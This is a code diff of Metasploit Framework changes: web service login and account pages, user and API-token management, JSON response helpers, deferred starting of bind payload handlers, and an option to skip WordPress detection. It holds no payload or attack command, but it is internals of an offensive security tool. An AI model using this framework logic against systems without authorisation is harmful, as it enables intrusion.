def set_json_response(data, includes = nil)
|
||||
def set_json_response(data, includes = nil, code = 200)
|
||||
headers = {'Content-Type' => 'application/json'}
|
||||
[200, headers, to_json(data, includes)]
|
||||
[code, headers, to_json(data, includes)]
|
||||
end
|
||||
|
||||
def set_json_data_response(response:, includes: nil, code: 200)
|
||||
data_response = {"data": response}
|
||||
set_json_response(data_response, includes = includes, code = code)
|
||||
end
|
||||
|
||||
def set_json_error_response(response:, includes: nil, code:)
|
||||
error_response = {"error": response}
|
||||
set_json_response(error_response, includes = includes, code = code)
|
||||
end
|
||||
|
||||
def set_html_response(data)
|
||||
|
@ -84,6 +94,18 @@ module ServletHelper
|
|||
response
|
||||
end
|
||||
|
||||
# Get Warden::Proxy object from the Rack environment.
|
||||
# @return [Warden::Proxy] The Warden::Proxy object from the Rack environment.
|
||||
def warden
|
||||
env['warden']
|
||||
end
|
||||
|
||||
# Get Warden options hash from the Rack environment.
|
||||
# @return [Hash] The Warden options hash from the Rack environment.
|
||||
def warden_options
|
||||
env['warden.options']
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
|
|
@ -1,45 +0,0 @@
|
|||
require 'sinatra/base'
|
||||
require 'swagger/blocks'
|
||||
require 'msf/core/db_manager/http/servlet_helper'
|
||||
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/host_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/note_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/web_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/msf_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/workspace_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/service_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/exploit_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/loot_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/credential_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/login_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/nmap_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/db_export_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
|
||||
|
||||
class SinatraApp < Sinatra::Base
|
||||
helpers ServletHelper
|
||||
|
||||
# Servlet registration
|
||||
register ApiDocsServlet
|
||||
register HostServlet
|
||||
register VulnServlet
|
||||
register EventServlet
|
||||
register WebServlet
|
||||
register MsfServlet
|
||||
register NoteServlet
|
||||
register WorkspaceServlet
|
||||
register ServiceServlet
|
||||
register SessionServlet
|
||||
register ExploitServlet
|
||||
register LootServlet
|
||||
register SessionEventServlet
|
||||
register CredentialServlet
|
||||
register LoginServlet
|
||||
register NmapServlet
|
||||
register DbExportServlet
|
||||
register VulnAttemptServlet
|
||||
end
|
|
@ -67,8 +67,8 @@
|
|||
|
||||
<div id="swagger-ui"></div>
|
||||
|
||||
<script src="/swagger-ui-bundle.js"> </script>
|
||||
<script src="/swagger-ui-standalone-preset.js"> </script>
|
||||
<script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
|
||||
<script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-standalone-preset.js"> </script>
|
||||
<script>
|
||||
window.onload = function() {
|
||||
// Build a system
|
||||
|
@ -87,4 +87,4 @@
|
|||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
</html>
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Account - Metasploit API</title>
|
||||
<link rel="stylesheet" type="text/css" href="/msf-ws.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<script type="text/javascript">
|
||||
function getNewApiToken() {
|
||||
loadDoc("GET", "<%= AuthServlet.api_generate_token_path %>", function(xhr) {
|
||||
var response = JSON.parse(xhr.responseText);
|
||||
document.getElementById("api-token").innerHTML = response.data.token;
|
||||
}, errorHandler);
|
||||
event.preventDefault();
|
||||
}
|
||||
|
||||
function errorHandler(xhr) {
|
||||
if (xhr.status == 401) {
|
||||
window.location.reload(true);
|
||||
}
|
||||
}
|
||||
|
||||
function loadDoc(method, url, callback, errorCallback) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (this.readyState == 4) {
|
||||
if (this.status == 200) {
|
||||
callback(this);
|
||||
} else if (this.status >= 400) {
|
||||
errorCallback(this);
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.open(method, url, true);
|
||||
xhr.send();
|
||||
}
|
||||
</script>
|
||||
|
||||
<ul>
|
||||
<% if warden.authenticated?(:user) %>
|
||||
<li class="dropdown-menu">
|
||||
<a href="javascript:void(0)" class="dropdown-btn"><%= warden.user(:user).username %></a>
|
||||
<div class="dropdown-content">
|
||||
<a href="#" onclick="getNewApiToken();">Generate New API Token</a>
|
||||
<a href="<%= AuthServlet.api_logout_path %>">Log Out</a>
|
||||
</div>
|
||||
</li>
|
||||
<% else %>
|
||||
<li><a href="<%= AuthServlet.api_login_path %>">Log In</a></li>
|
||||
<% end %>
|
||||
<li><a href="<%= ApiDocsServlet.html_path %>">API Documentation</a></li>
|
||||
</ul>
|
||||
|
||||
<div style="padding:20px;">
|
||||
<h1>Metasploit API Account</h1>
|
||||
|
||||
<% if warden.authenticated?(:user) %>
|
||||
<div id="api-token-label" class="api-token">Current API Token:</div>
|
||||
<div id="api-token" class="api-token">
|
||||
<%= !warden.user(:user).nil? && !warden.user(:user).persistence_token.nil? ? warden.user(:user).persistence_token : 'none' %>
|
||||
</div>
|
||||
<% end %>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,26 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Log In - Metasploit API</title>
|
||||
<link rel="stylesheet" type="text/css" href="/msf-ws.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div style="padding:20px;">
|
||||
<form action="<%= AuthServlet.api_login_path %>" method="post">
|
||||
<div class="credential-container">
|
||||
<h2>Log In - Metasploit API</h2>
|
||||
<label for="username"><b>Username</b></label>
|
||||
<input type="text" placeholder="Enter Username" name="username" required>
|
||||
|
||||
<label for="password"><b>Password</b></label>
|
||||
<input type="password" placeholder="Enter Password" name="password" required>
|
||||
|
||||
<button type="submit">Log In</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,139 @@
|
|||
require 'bcrypt'
|
||||
require 'sysrandom/securerandom'
|
||||
|
||||
module Msf::DBManager::User
|
||||
|
||||
MIN_TOKEN_LENGTH = 20
|
||||
|
||||
# Returns a list of all users in the database
|
||||
def users(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
search_term = opts.delete(:search_term)
|
||||
if search_term && !search_term.empty?
|
||||
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::User, search_term)
|
||||
Mdm::User.where(opts).where(column_search_conditions)
|
||||
else
|
||||
Mdm::User.where(opts)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Report a user's attributes.
|
||||
#
|
||||
# The opts parameter MUST contain:
|
||||
# +:username+:: -- the username
|
||||
# +:password+:: -- the users's cleartext password
|
||||
#
|
||||
# The opts parameter can contain:
|
||||
# +:fullname+:: -- the users's fullname
|
||||
# +:email+:: -- the users's email
|
||||
# +:phone+:: -- the users's phone
|
||||
# +:email+:: -- the users's email
|
||||
# +:company+:: -- the users's company
|
||||
# +:prefs+:: -- [Hash] the users's preferences
|
||||
# +:admin+:: -- [Boolean] True if the user is an admin; otherwise, false.
|
||||
#
|
||||
# @return [Mdm::User] The reported Mdm::User object.
|
||||
def report_user(opts)
|
||||
return unless active
|
||||
raise ArgumentError.new("Missing required option :username") if opts[:username].nil?
|
||||
raise ArgumentError.new("Missing required option :password") if opts[:password].nil?
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
conditions = {username: opts[:username]}
|
||||
user = Mdm::User.where(conditions).first_or_initialize
|
||||
|
||||
opts.each do |k,v|
|
||||
if user.attribute_names.include?(k.to_s)
|
||||
user[k] = v
|
||||
elsif !v.blank?
|
||||
dlog("Unknown attribute for ::Mdm::User: #{k}")
|
||||
end
|
||||
end
|
||||
|
||||
user.crypted_password = BCrypt::Password.create(opts[:password])
|
||||
user.admin = false if opts[:admin].nil?
|
||||
|
||||
# Finalize
|
||||
if user.changed?
|
||||
msf_import_timestamps(opts, user)
|
||||
user.save!
|
||||
end
|
||||
|
||||
user
|
||||
}
|
||||
end
|
||||
|
||||
# Update the attributes of a user entry with the values in opts.
|
||||
# The values in opts should match the attributes to update.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update.
|
||||
# @return [Mdm::User] The updated Mdm::User object.
|
||||
def update_user(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
id = opts.delete(:id)
|
||||
Mdm::User.update(id, opts)
|
||||
}
|
||||
end
|
||||
|
||||
# Deletes user entries based on the IDs passed in.
|
||||
#
|
||||
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the user entries to delete.
|
||||
# @return [Array] Array containing the Mdm::User objects that were successfully deleted.
|
||||
def delete_user(opts)
|
||||
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
deleted = []
|
||||
opts[:ids].each do |user_id|
|
||||
user = Mdm::User.find(user_id)
|
||||
begin
|
||||
deleted << user.destroy
|
||||
rescue # refs suck
|
||||
elog("Forcibly deleting #{user}")
|
||||
deleted << user.delete
|
||||
end
|
||||
end
|
||||
|
||||
return deleted
|
||||
}
|
||||
end
|
||||
|
||||
# Authenticates the user.
|
||||
#
|
||||
# @param opts[:ids] [Integer] ID of the user to authenticate.
|
||||
# @param opts[:password] [String] The user's password.
|
||||
# @return [Boolean] True if the user is successfully authenticated; otherwise, false.
|
||||
def authenticate_user(opts)
|
||||
raise ArgumentError.new("The following options are required: :id") if opts[:id].nil?
|
||||
raise ArgumentError.new("The following options are required: :password") if opts[:password].nil?
|
||||
|
||||
user = Mdm::User.find(opts[:id])
|
||||
begin
|
||||
!user.nil? && BCrypt::Password.new(user.crypted_password) == opts[:password]
|
||||
rescue BCrypt::Errors::InvalidHash
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Creates a new API token for the user.
|
||||
#
|
||||
# The opts parameter MUST contain:
|
||||
# @param opts[:ids] [Integer] ID for the user.
|
||||
#
|
||||
# The opts parameter can contain:
|
||||
# @param opts[:token_length] [Integer] Token length.
|
||||
#
|
||||
# @return [String] The new API token.
|
||||
def create_new_user_token(opts)
|
||||
raise ArgumentError.new("The following options are required: :id") if opts[:id].nil?
|
||||
|
||||
token_length = opts[:token_length] || MIN_TOKEN_LENGTH
|
||||
# NOTE: repurposing persistence_token in the database as the API token
|
||||
Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token
|
||||
end
|
||||
|
||||
end
|
|
@ -330,16 +330,12 @@ class Exploit < Msf::Module
|
|||
], Msf::Exploit)
|
||||
end
|
||||
|
||||
# Allow all exploits to leverage context keyed encoding
|
||||
register_advanced_options(
|
||||
[
|
||||
# Allow all exploits to leverage context keyed encoding
|
||||
OptBool.new('EnableContextEncoding', [ false, "Use transient context when encoding payloads", false ]),
|
||||
OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ])
|
||||
], Msf::Exploit)
|
||||
|
||||
# Allow all exploits to disable their payload handlers
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ]),
|
||||
# Allow all exploits to disable their payload handlers
|
||||
OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ])
|
||||
], Msf::Exploit)
|
||||
end
|
||||
|
@ -438,9 +434,11 @@ class Exploit < Msf::Module
|
|||
# Set up the payload handlers
|
||||
payload_instance.setup_handler
|
||||
|
||||
# Defer starting bind handlers until after exploit completion
|
||||
return if handler_bind?
|
||||
|
||||
# Start the payload handler
|
||||
payload_instance.start_handler
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1240,7 +1238,14 @@ class Exploit < Msf::Module
|
|||
# Allow the user to disable the payload handler
|
||||
#
|
||||
def handler_enabled?
|
||||
not datastore['DisablePayloadHandler']
|
||||
!datastore['DisablePayloadHandler']
|
||||
end
|
||||
|
||||
#
|
||||
# If the payload uses a bind handler
|
||||
#
|
||||
def handler_bind?
|
||||
payload_instance && payload_instance.connection_type == 'bind'
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -1284,6 +1289,9 @@ class Exploit < Msf::Module
|
|||
# A boolean for whether a session has been created yet
|
||||
#
|
||||
def session_created?
|
||||
# Start bind handlers before checking session creation
|
||||
payload_instance.start_handler if handler_bind?
|
||||
|
||||
(self.session_count > 0) ? true : false
|
||||
end
|
||||
|
||||
|
|
|
@ -38,7 +38,8 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']),
|
||||
Msf::OptBool.new('WPCHECK', [true, 'Check if the website is a valid WordPress install', true]),
|
||||
], Msf::Exploit::Remote::HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
|
|
@ -5,6 +5,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
|
|||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
unless datastore['WPCHECK']
|
||||
vprint_status 'Skipping WordPress check...'
|
||||
return true
|
||||
end
|
||||
|
||||
wordpress_detect_regexes = [
|
||||
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||
|
|
|
@ -214,11 +214,13 @@ protected
|
|||
exploit.handle_exception e
|
||||
end
|
||||
|
||||
# Start bind handlers after exploit completion
|
||||
payload.start_handler if exploit.handler_bind?
|
||||
|
||||
# Wait the payload to acquire a session if this isn't a passive-style
|
||||
# exploit.
|
||||
return if not delay
|
||||
|
||||
|
||||
if (force_wait_for_session == true) or
|
||||
(exploit.passive? == false and exploit.handler_enabled?)
|
||||
begin
|
||||
|
|
|
@ -285,6 +285,7 @@ module Msf
|
|||
print_status("Started #{human_name} handler against #{rhost}:#{lport}")
|
||||
|
||||
# First, create a socket and connect to the SMB service
|
||||
vprint_status("Connecting to #{rhost}:#{lport}")
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
|
|
|
@ -117,6 +117,10 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
self.site = in_ctx_val.to_s
|
||||
elsif in_ctx_id == 'AKA'
|
||||
self.site = "Also known as: #{in_ctx_val}"
|
||||
elsif in_ctx_id == 'LOGO'
|
||||
self.site = "Logo: #{in_ctx_val}"
|
||||
elsif in_ctx_id == 'SOUNDTRACK'
|
||||
self.site = "Soundtrack: #{in_ctx_val}"
|
||||
else
|
||||
self.site = in_ctx_id
|
||||
self.site += " (#{in_ctx_val})" if (in_ctx_val)
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue